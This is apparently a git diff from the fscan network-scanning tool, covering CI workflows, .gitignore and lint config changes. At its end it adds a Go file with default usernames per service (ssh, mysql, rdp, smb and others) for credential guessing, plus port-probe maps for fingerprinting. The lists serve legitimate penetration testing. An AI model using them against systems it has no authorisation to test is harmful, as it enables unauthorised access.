config_files=$(find dist/ -name "*.json" -o -name "*.yaml" -o -name "*.yml" -o -name "*.txt" | wc -l)
# 平台统计
linux_count=$(find dist/ -name "*linux*" -type f | wc -l)
darwin_count=$(find dist/ -name "*darwin*" -type f | wc -l)
windows_count=$(find dist/ -name "*windows*" -type f | wc -l)
echo "total_files=$total_files" >> $GITHUB_OUTPUT
echo "executable_files=$executable_files" >> $GITHUB_OUTPUT
echo "config_files=$config_files" >> $GITHUB_OUTPUT
echo "linux_count=$linux_count" >> $GITHUB_OUTPUT
echo "darwin_count=$darwin_count" >> $GITHUB_OUTPUT
echo "windows_count=$windows_count" >> $GITHUB_OUTPUT
else
echo "total_files=0" >> $GITHUB_OUTPUT
echo "executable_files=0" >> $GITHUB_OUTPUT
echo "config_files=0" >> $GITHUB_OUTPUT
echo "linux_count=0" >> $GITHUB_OUTPUT
echo "darwin_count=0" >> $GITHUB_OUTPUT
echo "windows_count=0" >> $GITHUB_OUTPUT
fi
- name: 📊 生成发布报告
if: always()
run: |
# 构建状态判断
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
build_status="![构建状态](https://img.shields.io/badge/构建-成功-brightgreen)"
release_status="![发布状态](https://img.shields.io/badge/发布-成功-brightgreen)"
else
build_status="![构建状态](https://img.shields.io/badge/构建-失败-red)"
release_status="![发布状态](https://img.shields.io/badge/发布-失败-red)"
fi
echo "# 🎉 发布构建报告" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "$build_status $release_status" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 基本信息
echo "## 📋 发布基本信息" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 项目 | 值 |" >> $GITHUB_STEP_SUMMARY
echo "|------|-----|" >> $GITHUB_STEP_SUMMARY
echo "| 🏷️ **项目名称** | ${{ steps.project.outputs.repo }} |" >> $GITHUB_STEP_SUMMARY
echo "| 👤 **拥有者** | ${{ steps.project.outputs.owner }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🏷️ **版本** | \`${{ steps.project.outputs.version }}\` |" >> $GITHUB_STEP_SUMMARY
echo "| 📝 **提交SHA** | \`${{ steps.project.outputs.short_sha }}\` |" >> $GITHUB_STEP_SUMMARY
echo "| 📅 **构建时间** | ${{ steps.project.outputs.build_date }} |" >> $GITHUB_STEP_SUMMARY
echo "| ⏱️ **构建耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
echo "| 📦 **发布类型** | $(if [[ "${{ inputs.draft }}" == "true" ]]; then echo "草稿"; elif [[ "${{ inputs.prerelease }}" == "true" ]]; then echo "预发布"; else echo "正式发布"; fi) |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 构建环境信息
echo "## 🖥️ 构建环境" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 环境变量 | 值 |" >> $GITHUB_STEP_SUMMARY
echo "|----------|-----|" >> $GITHUB_STEP_SUMMARY
echo "| **GITHUB_OWNER** | $GITHUB_OWNER |" >> $GITHUB_STEP_SUMMARY
echo "| **GITHUB_REPO** | $GITHUB_REPO |" >> $GITHUB_STEP_SUMMARY
echo "| **PROJECT_NAME** | $PROJECT_NAME |" >> $GITHUB_STEP_SUMMARY
echo "| **RUNNER_OS** | $RUNNER_OS |" >> $GITHUB_STEP_SUMMARY
echo "| **RUNNER_ARCH** | $RUNNER_ARCH |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 构建时间统计
echo "## ⏰ 构建时间统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 阶段 | 时间 |" >> $GITHUB_STEP_SUMMARY
echo "|------|------|" >> $GITHUB_STEP_SUMMARY
echo "| 🚀 **开始时间** | ${{ steps.build_start.outputs.start_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🏁 **结束时间** | ${{ steps.build_end.outputs.end_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "| ⏱️ **总耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 构建结果
echo "## 🚀 构建结果" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 构建阶段 | 状态 |" >> $GITHUB_STEP_SUMMARY
echo "|----------|------|" >> $GITHUB_STEP_SUMMARY
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
echo "| 🏗️ **构建发布** | ✅ 成功 |" >> $GITHUB_STEP_SUMMARY
else
echo "| 🏗️ **构建发布** | ❌ 失败 |" >> $GITHUB_STEP_SUMMARY
fi
echo "" >> $GITHUB_STEP_SUMMARY
# 发布产物统计
if [ -d "dist" ]; then
echo "## 📦 发布产物统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 文件类型统计
echo "### 📊 文件类型统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 文件类型 | 数量 |" >> $GITHUB_STEP_SUMMARY
echo "|----------|------|" >> $GITHUB_STEP_SUMMARY
echo "| 📁 **总文件数** | ${{ steps.build_stats.outputs.total_files }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **可执行文件** | ${{ steps.build_stats.outputs.executable_files }} |" >> $GITHUB_STEP_SUMMARY
echo "| 📄 **配置文件** | ${{ steps.build_stats.outputs.config_files }} |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 平台分布统计
echo "### 🌍 平台分布统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 平台 | 数量 |" >> $GITHUB_STEP_SUMMARY
echo "|------|------|" >> $GITHUB_STEP_SUMMARY
echo "| 🐧 **Linux** | ${{ steps.build_stats.outputs.linux_count }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🍎 **macOS** | ${{ steps.build_stats.outputs.darwin_count }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🪟 **Windows** | ${{ steps.build_stats.outputs.windows_count }} |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 总产物大小
echo "### 📦 产物大小" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
total_size=$(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")
echo "**总产物大小**: $total_size" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
fi
# 发布总结
echo "## 📈 发布总结" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
echo "🎉 **构建状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY
echo "🎉 **发布状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY
echo "🔗 **发布链接**: https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/releases/tag/${{ steps.project.outputs.version }}" >> $GITHUB_STEP_SUMMARY
else
echo "🎉 **构建状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY
echo "🎉 **发布状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY
fi
echo "📊 **可执行文件**: ${{ steps.build_stats.outputs.executable_files }} 个" >> $GITHUB_STEP_SUMMARY
echo "⏱️ **构建耗时**: ${{ steps.build_end.outputs.duration_readable }}" >> $GITHUB_STEP_SUMMARY
echo "📦 **产物大小**: $(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 快速链接
echo "## 🔗 快速链接" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "- 🎯 [查看发布页面](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/releases/tag/${{ steps.project.outputs.version }})" >> $GITHUB_STEP_SUMMARY
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "---" >> $GITHUB_STEP_SUMMARY
echo "*报告生成时间: $(date -u +"%Y-%m-%d %H:%M:%S UTC")*" >> $GITHUB_STEP_SUMMARY
- name: 📬 发送通知
if: always()
run: |
if [[ "${{ steps.build_step.outcome }}" == "success" ]]; then
echo "✅ 发布成功!版本 ${{ steps.project.outputs.version }} 已发布"
# 这里可以添加发送成功通知的逻辑(如 Slack、邮件等)
else
echo "❌ 发布失败!请检查构建日志"
# 这里可以添加发送失败通知的逻辑
fi
+183 -146
View File
@@ -3,190 +3,227 @@ name: 测试构建
on:
push:
branches:
- main
- dev
- dev-*
- develop
- feature/*
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
pull_request:
branches:
- main
- master
- dev
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
workflow_dispatch:
inputs:
branch:
description: '测试分支'
required: false
default: 'dev'
permissions:
contents: read
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
jobs:
lint:
name: 代码检查
test-build:
name: 测试构建
runs-on: ubuntu-latest
timeout-minutes: 10
timeout-minutes: 30
# 设置作业级别的环境变量
env:
GITHUB_OWNER: ${{ github.repository_owner }}
GITHUB_REPO: ${{ github.event.repository.name }}
PROJECT_NAME: ${{ github.event.repository.name }}
steps:
- name: 检出代码
- name: 📥 检出代码
uses: actions/checkout@v4
- name: 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.23'
cache: true
fetch-depth: 0
ref: ${{ github.event.inputs.branch || github.ref }}
- name: 运行 golangci-lint
- name: 🔍 获取项目信息
id: project
run: |
# 安装 golangci-lint v2 (需 Go 1.22+,仅用于静态分析,不影响二进制兼容性)
go install github.com/golangci/golangci-lint/v2/cmd/[email protected]
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
echo "branch=${GITHUB_REF#refs/heads/}" >> $GITHUB_OUTPUT
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
echo "timestamp=$(date +%s)" >> $GITHUB_OUTPUT
# 运行检查
golangci-lint run --timeout=5m > lint_output.txt 2>&1 || true
cat lint_output.txt
# 过滤非关键问题(复杂度建议和 staticcheck 风格建议不阻塞 CI
CRITICAL=$(grep -E "\.go:[0-9]+:[0-9]+:" lint_output.txt \
| grep -vE "gocognit|gocyclo|QF[0-9]+| S[0-9]+|ST[0-9]+" || true)
if [ -n "$CRITICAL" ]; then
echo "❌ Linting failed with critical issues:"
echo "$CRITICAL" | head -20
exit 1
fi
echo "✅ Lint 检查通过"
- name: 检查代码复杂度(质量门禁)
run: |
echo "### 🚦 复杂度质量门禁" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 检查认知复杂度>80的函数
COMPLEX_FUNCS=$(golangci-lint run --disable-all --enable=gocognit --out-format=line-number 2>&1 | grep "cognitive complexity" | grep -v "typechecking" || true)
if [ -n "$COMPLEX_FUNCS" ]; then
HIGH_COMPLEX=$(echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print}' | wc -l)
if [ "$HIGH_COMPLEX" -gt 0 ]; then
echo "❌ **发现 $HIGH_COMPLEX 个复杂度>80的函数**" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print "复杂度:", $1, "- 必须重构"}' >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "⚠️ 请重构复杂度>80的函数后再提交" >> $GITHUB_STEP_SUMMARY
exit 1
fi
fi
echo "✅ 代码复杂度检查通过(所有函数≤80" >> $GITHUB_STEP_SUMMARY
test:
name: 单元测试和构建
runs-on: ubuntu-latest
timeout-minutes: 10
needs: lint
steps:
- name: 检出代码
uses: actions/checkout@v4
- name: 设置 Go 环境
- name: 🐹 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.20'
cache: true
- name: 下载依赖
- name: 📦 下载依赖
run: |
go mod download
go mod verify
- name: 运行测试
run: |
# 排除第三方grdp库测试(存在环境依赖问题)
PKGS=$(go list ./... | grep -v '/libs/grdp/')
go test -vet=off -race -coverprofile=coverage.out -covermode=atomic $PKGS
- name: 🗜️ 安装 UPX 压缩工具
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
- name: 上传覆盖率
- name: ️ 显示构建环境信息
run: |
echo "Go 版本: $(go version)"
echo "UPX 版本: $(upx --version)"
echo "分支: ${{ steps.project.outputs.branch }}"
echo "提交: ${{ steps.project.outputs.short_sha }}"
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
echo "构建时间: ${{ steps.project.outputs.build_date }}"
echo "环境变量:"
echo "- GITHUB_OWNER: $GITHUB_OWNER"
echo "- GITHUB_REPO: $GITHUB_REPO"
echo "- PROJECT_NAME: $PROJECT_NAME"
- name: 📊 记录构建开始时间
id: build_start
run: |
echo "start_time=$(date +%s)" >> $GITHUB_OUTPUT
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
- name: 🚀 测试构建 (Snapshot 模式)
uses: goreleaser/goreleaser-action@v5
with:
distribution: goreleaser
version: latest
args: release --snapshot --clean -f .github/conf/.goreleaser.yml
workdir: .
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: 📊 记录构建结束时间
id: build_end
run: |
echo "end_time=$(date +%s)" >> $GITHUB_OUTPUT
echo "end_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
start_time=${{ steps.build_start.outputs.start_time }}
end_time=$(date +%s)
duration=$((end_time - start_time))
echo "duration=${duration}" >> $GITHUB_OUTPUT
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
- name: 📋 上传测试产物
uses: actions/upload-artifact@v4
with:
name: coverage-report
path: coverage.out
name: 测试构建-${{ steps.project.outputs.branch }}-${{ steps.project.outputs.short_sha }}
path: |
dist/
retention-days: 7
- name: 显示覆盖率
- name: 📊 统计构建产物
id: build_stats
run: |
echo "### 测试覆盖率报告" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
go tool cover -func=coverage.out >> $GITHUB_STEP_SUMMARY
- name: 检查覆盖率(质量门禁)
run: |
echo "" >> $GITHUB_STEP_SUMMARY
echo "### 🚦 覆盖率质量门禁" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 提取总体覆盖率(awk 整数比较,不需要 bc)
TOTAL_COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print int($3)}')
echo "总体覆盖率: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 警告阈值:总体<40%
if [ "$TOTAL_COVERAGE" -lt 40 ]; then
echo "⚠️ **警告**: 总体覆盖率 ${TOTAL_COVERAGE}% < 40%,建议补充测试" >> $GITHUB_STEP_SUMMARY
fi
# 检查是否有新增的未测试文件(0%覆盖率)
ZERO_COVERAGE_FILES=$(go tool cover -func=coverage.out | awk '$3 == "0.0%" && $1 !~ /_test\.go/' | wc -l)
if [ "$ZERO_COVERAGE_FILES" -gt 0 ]; then
echo "⚠️ **警告**: 发现 $ZERO_COVERAGE_FILES 个文件覆盖率为0%" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "请为新代码补充单元测试" >> $GITHUB_STEP_SUMMARY
if [ -d "dist" ]; then
total_files=$(find dist/ -type f | wc -l)
executable_files=$(find dist/ -type f -executable | wc -l)
config_files=$(find dist/ -name "*.json" -o -name "*.yaml" -o -name "*.yml" -o -name "*.txt" | wc -l)
echo "total_files=$total_files" >> $GITHUB_OUTPUT
echo "executable_files=$executable_files" >> $GITHUB_OUTPUT
echo "config_files=$config_files" >> $GITHUB_OUTPUT
else
echo "✅ 覆盖率检查通过" >> $GITHUB_STEP_SUMMARY
echo "total_files=0" >> $GITHUB_OUTPUT
echo "executable_files=0" >> $GITHUB_OUTPUT
echo "config_files=0" >> $GITHUB_OUTPUT
fi
build:
name: 构建验证
runs-on: ubuntu-latest
timeout-minutes: 5
needs: test
steps:
- name: 检出代码
uses: actions/checkout@v4
- name: 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.20'
cache: true
- name: 构建验证
- name: 📊 生成构建报告
if: always()
run: |
# 只验证能否编译通过,不需要多平台构建
echo "🔨 验证 Linux/amd64 构建..."
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /dev/null .
echo "✅ 构建成功"
echo "# 🎯 测试构建报告" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 基本信息表格
echo "## 📋 构建基本信息" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 项目 | 值 |" >> $GITHUB_STEP_SUMMARY
echo "|------|-----|" >> $GITHUB_STEP_SUMMARY
echo "| 🏷️ **项目名称** | ${{ steps.project.outputs.repo }} |" >> $GITHUB_STEP_SUMMARY
echo "| 👤 **拥有者** | ${{ steps.project.outputs.owner }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🌿 **分支** | ${{ steps.project.outputs.branch }} |" >> $GITHUB_STEP_SUMMARY
echo "| 📝 **提交SHA** | \`${{ steps.project.outputs.short_sha }}\` |" >> $GITHUB_STEP_SUMMARY
echo "| 📅 **构建时间** | ${{ steps.project.outputs.build_date }} |" >> $GITHUB_STEP_SUMMARY
echo "| ⏱️ **构建耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 构建环境信息
echo "## 🖥️ 构建环境" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 环境变量 | 值 |" >> $GITHUB_STEP_SUMMARY
echo "|----------|-----|" >> $GITHUB_STEP_SUMMARY
echo "| **GITHUB_OWNER** | $GITHUB_OWNER |" >> $GITHUB_STEP_SUMMARY
echo "| **GITHUB_REPO** | $GITHUB_REPO |" >> $GITHUB_STEP_SUMMARY
echo "| **PROJECT_NAME** | $PROJECT_NAME |" >> $GITHUB_STEP_SUMMARY
echo "| **RUNNER_OS** | $RUNNER_OS |" >> $GITHUB_STEP_SUMMARY
echo "| **RUNNER_ARCH** | $RUNNER_ARCH |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 构建时间统计
echo "## ⏰ 构建时间统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 阶段 | 时间 |" >> $GITHUB_STEP_SUMMARY
echo "|------|------|" >> $GITHUB_STEP_SUMMARY
echo "| 🚀 **开始时间** | ${{ steps.build_start.outputs.start_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🏁 **结束时间** | ${{ steps.build_end.outputs.end_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "| ⏱️ **总耗时** | ${{ steps.build_end.outputs.duration_readable }} |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 构建产物统计
if [ -d "dist" ]; then
echo "## 📦 构建产物统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 文件类型统计
echo "### 📊 文件类型统计" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| 文件类型 | 数量 |" >> $GITHUB_STEP_SUMMARY
echo "|----------|------|" >> $GITHUB_STEP_SUMMARY
echo "| 📁 **总文件数** | ${{ steps.build_stats.outputs.total_files }} |" >> $GITHUB_STEP_SUMMARY
echo "| 🔧 **可执行文件** | ${{ steps.build_stats.outputs.executable_files }} |" >> $GITHUB_STEP_SUMMARY
echo "| 📄 **配置文件** | ${{ steps.build_stats.outputs.config_files }} |" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 总产物大小
echo "### 📦 产物大小" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
total_size=$(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")
echo "**总产物大小**: $total_size" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
fi
# 总结
echo "## 📈 构建总结" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
if [ "${{ job.status }}" == "success" ]; then
echo "🎉 **构建状态**: ✅ 成功" >> $GITHUB_STEP_SUMMARY
else
echo "🎉 **构建状态**: ❌ 失败" >> $GITHUB_STEP_SUMMARY
fi
echo "📊 **可执行文件**: ${{ steps.build_stats.outputs.executable_files }} 个" >> $GITHUB_STEP_SUMMARY
echo "⏱️ **构建耗时**: ${{ steps.build_end.outputs.duration_readable }}" >> $GITHUB_STEP_SUMMARY
echo "📦 **产物大小**: $(du -sh dist/ 2>/dev/null | cut -f1 || echo "未知")" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 添加快速链接
echo "## 🔗 快速链接" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
echo "- 🌿 [查看分支](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/tree/${{ steps.project.outputs.branch }})" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "---" >> $GITHUB_STEP_SUMMARY
echo "*报告生成时间: $(date -u +"%Y-%m-%d %H:%M:%S UTC")*" >> $GITHUB_STEP_SUMMARY
+4 -39
View File
@@ -1,9 +1,9 @@
result.txt
result.json
/main
main
.idea
fscan.exe
/fscan
fscan
makefile
fscanapi.csv
# IDE files / IDE 文件
@@ -41,17 +41,9 @@ log/
coverage.txt
coverage.html
*.cover
*.out
coverage*.out
# Test artifacts / 测试产物
*_report.txt
*_output.txt
*_test_*.txt
race_report.txt
test_output.txt
# Build artifacts / 构建产物
dist/
build/
bin/
*.exe
@@ -59,11 +51,6 @@ bin/
*.so
*.dylib
# Web UI build / Web前端构建
web-ui/node_modules/
web-ui/dist/
!web/dist/
# Go specific / Go 相关
vendor/
*.test
@@ -71,29 +58,7 @@ vendor/
*.mem
*.cpu
__debug_bin*
go.work
go.work.sum
# Performance profiling / 性能分析
profiles/
# Local development tools / 本地开发工具
.air.toml
air_tmp/
# Todo files / Todo文件
Todo列表.md
*todo*.md
*TODO*.md
# Claude documentation / Claude文档
.claude_docs/
# Cleaner plugin artifacts / 清理插件产物
cleanup.bat
cleanup.sh
cleanup_script_*
# Compilation objects / 编译对象文件
*.o
*.a
-52
View File
@@ -1,52 +0,0 @@
# golangci-lint v2 配置
version: "2"
run:
timeout: 5m
linters:
default: none
enable:
- govet
- errcheck
- staticcheck
- unused
- ineffassign
- gocyclo
- gocognit
settings:
govet:
disable:
- printf
errcheck:
check-type-assertions: true
exclude-functions:
- (net.Conn).Close
- (*os.File).Close
- os.Remove
- (github.com/hirochachacha/go-smb2.Session).Logoff
- (github.com/hirochachacha/go-smb2.Share).Umount
gocyclo:
min-complexity: 35
gocognit:
min-complexity: 80
exclusions:
generated: lax
rules:
- path: _test\.go
linters:
- gocyclo
- gocognit
- errcheck
- linters:
- govet
text: "fieldalignment:"
paths:
- vendor
- testdocker
- image
- libs/grdp
issues:
max-issues-per-linter: 50
max-same-issues: 3
+969
View File
@@ -0,0 +1,969 @@
package Common
import (
"github.com/schollz/progressbar/v3"
"sync"
)
var version = "2.0.1"
var Userdict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest"},
"postgresql": {"postgres", "admin"},
"ssh": {"root", "admin"},
"mongodb": {"root", "admin"},
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
"telnet": {"root", "admin", "test"},
"elastic": {"elastic", "admin", "kibana"},
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
"kafka": {"admin", "kafka", "root", "test"},
"activemq": {"admin", "root", "activemq", "system", "user"},
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
"zabbix": {"Admin", "admin", "guest", "user"},
"rsync": {"rsync", "root", "admin", "backup"},
"cassandra": {"cassandra", "admin", "root", "system"},
"neo4j": {"neo4j", "admin", "root", "test"},
}
var DefaultMap = []string{
"GenericLines",
"GetRequest",
"TLSSessionReq",
"SSLSessionReq",
"ms-sql-s",
"JavaRMI",
"LDAPSearchReq",
"LDAPBindReq",
"oracle-tns",
"Socks5",
}
var PortMap = map[int][]string{
1: {"GetRequest", "Help"},
7: {"Help"},
21: {"GenericLines", "Help"},
23: {"GenericLines", "tn3270"},
25: {"Hello", "Help"},
35: {"GenericLines"},
42: {"SMBProgNeg"},
43: {"GenericLines"},
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
70: {"GetRequest"},
79: {"GenericLines", "GetRequest", "Help"},
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
98: {"GenericLines"},
110: {"GenericLines"},
111: {"RPCCheck"},
113: {"GenericLines", "GetRequest", "Help"},
119: {"GenericLines", "Help"},
130: {"NotesRPC"},
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
139: {"GetRequest", "SMBProgNeg"},
143: {"GetRequest"},
175: {"NJE"},
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
214: {"GenericLines"},
256: {"LDAPSearchReq", "LDAPBindReq"},
257: {"LDAPSearchReq", "LDAPBindReq"},
261: {"SSLSessionReq"},
264: {"GenericLines"},
271: {"SSLSessionReq"},
280: {"GetRequest"},
322: {"RTSPRequest", "SSLSessionReq"},
324: {"SSLSessionReq"},
389: {"LDAPSearchReq", "LDAPBindReq"},
390: {"LDAPSearchReq", "LDAPBindReq"},
406: {"SIPOptions"},
427: {"NotesRPC"},
443: {"TLSSessionReq", "GetRequest", "HTTPOptions", "SSLSessionReq", "SSLv23SessionReq", "X11Probe", "FourOhFourRequest", "tor-versions", "OpenVPN"},
444: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
445: {"SMBProgNeg"},
448: {"SSLSessionReq"},
